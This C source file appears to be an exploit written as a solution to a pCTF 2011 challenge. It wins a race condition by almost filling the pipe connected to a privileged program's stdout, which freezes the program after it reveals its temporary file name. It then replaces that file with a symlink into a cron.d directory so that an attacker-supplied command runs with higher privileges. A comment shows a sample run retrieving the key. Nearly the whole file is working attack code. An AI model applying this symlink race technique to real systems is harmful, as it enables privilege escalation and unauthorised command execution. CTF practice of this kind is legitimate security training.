/* pCTF 2011 - #18 A small bug
* Exploiting race condition using an almost-filled blocking pipe connected to stdout
* Based on https://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/
*/
/*
z1_16@a5:~$ ./exploit
Usage: ./exploit <exploitme> <string> <symlink>
z1_16@a5:~$ touch /tmp/stalkr; chmod go-rx,a+w /tmp/stalkr; ls -l /tmp/stalkr
-rw--w--w- 1 z1_16 z1users 0 Apr 23 16:15 /tmp/stalkr
z1_16@a5:~$ ./exploit /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key >/tmp/stalkr' /opt/pctf/z1key/cron.d/stalkr.sh
Symlink /tmp/chal_irpdv9 -> /opt/pctf/z1key/cron.d/stalkr.sh created
z1_16@a5:~$ date
Sat Apr 23 16:16:02 EDT 2011
z1_16@a5:~$ cat /tmp/stalkr
This is the key: FUCKALLOFYOU
z1_16@a5:~$ rm -f /tmp/stalkr
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void fd_set_blocking(int fd)
{
int flags;
if ( (flags = fcntl(fd, F_GETFL)) == -1)
{
perror("fcntl()");
exit(EXIT_FAILURE);
}
if (flags & O_NONBLOCK) {
flags &= ~O_NONBLOCK;
if (fcntl(fd, F_SETFL, flags) == -1)
{
perror("fcntl()");
exit(EXIT_FAILURE);
}
}
}
void fd_set_nonblocking(int fd)
{
int flags;
if ( (flags = fcntl(fd, F_GETFL)) == -1)
{
perror("fcntl()");
exit(EXIT_FAILURE);
}
if ( !(flags & O_NONBLOCK) )
{
flags |= O_NONBLOCK;
if (fcntl(fd, F_SETFL, flags) == -1)
{
perror("fcntl()");
exit(EXIT_FAILURE);
}
}
}
ssize_t xwrite(int fd, const void *buf, size_t count)
{
ssize_t ret;
do {
ret = write(fd, buf, count);
} while (ret == -1 && errno == EINTR);
if (ret == -1 && errno != EAGAIN)
{
perror("write()");
exit(EXIT_FAILURE);
}
return ret;
}
int xdup2(int oldfd, int newfd)
{
int ret;
if ( (ret = dup2(oldfd, newfd)) == -1)
{
perror("dup2()");
exit(EXIT_FAILURE);
}
return ret;
}
int xpipe(int filedes[2])
{
int ret;
if ( (ret = pipe(filedes)) == -1)
{
perror("pipe()");
exit(EXIT_FAILURE);
}
return ret;
}
int main(int argc, char **argv)
{
pid_t pid;
ssize_t ret;
int pipestdout[2], pipestderr[2];
char buf[4096];
int i;
char *tmpfile;
if (argc < 4)
{
printf("Usage: %s <exploitme> <string> <symlink>\n", argv[0]);
exit(EXIT_FAILURE);
}
xpipe(pipestdout);
xpipe(pipestderr);
memset(buf, 0, sizeof(buf));
/* Set stdout non-blocking, so we can fill the pipe buffer */
fd_set_nonblocking(pipestdout[1]);
/* Program will want to write this on stdout:
* "Entering 0x8048285...\n" (main) -> let it do
* "Entering 0x8048167...\n" (get_temp) -> let it do
* "Entering 0x8048219...\n" (write_and_unlink) -> don't let it! we want to freeze
* In order to do that, we fill the stdout pipe at maximum minus first two messages
*/
/* Entirely fill the first 15th 4096 chunks */
for (i=0; i<15; i++)
{
if (xwrite(pipestdout[1], buf, 4096) != 4096)
{
perror("write()");
}
}
/* Almost fill the last (16th) 4096 chunk */
i = 4096 - strlen("Entering 0x8048167...\n") - strlen("Entering 0x8048167...\n");
if (xwrite(pipestdout[1], buf, i) != i)
{
perror("write()");
}
/* Now stdout pipe is almost full, child will block right after the two "Entering.." */
fd_set_blocking(pipestdout[1]);
switch(pid = fork()) {
case -1:
perror("fork()");
exit(EXIT_FAILURE);
case 0:
/* Connect stdout/stderr of child to pipes */
close(pipestderr[0]);
close(pipestdout[0]);
xdup2(pipestdout[1], 1);
xdup2(pipestderr[1], 2);
char *args[] = { argv[1], argv[2], NULL};
if (execve(args[0], args, 0) == -1)
{
perror("execve()");
exit(EXIT_FAILURE);
}
default:
/* Read tmpfile from stderr */
ret = read(pipestderr[0], &buf, strlen("Temporary file is /tmp/chal_eb9m7g.\n"));
if (ret == -1)
{
perror("read()");
exit(-1);
}
tmpfile = buf + strlen("Temporary file is ");
tmpfile[strlen("/tmp/chal_eb9m7g")] = 0;
symlink(argv[3], tmpfile);
printf("Symlink %s -> %s created\n", tmpfile, argv[3]);
/* We can unfill stdout's pipe so that child continues its execution */
ret = read(pipestdout[0], &buf, 4096);
}
return EXIT_SUCCESS;
}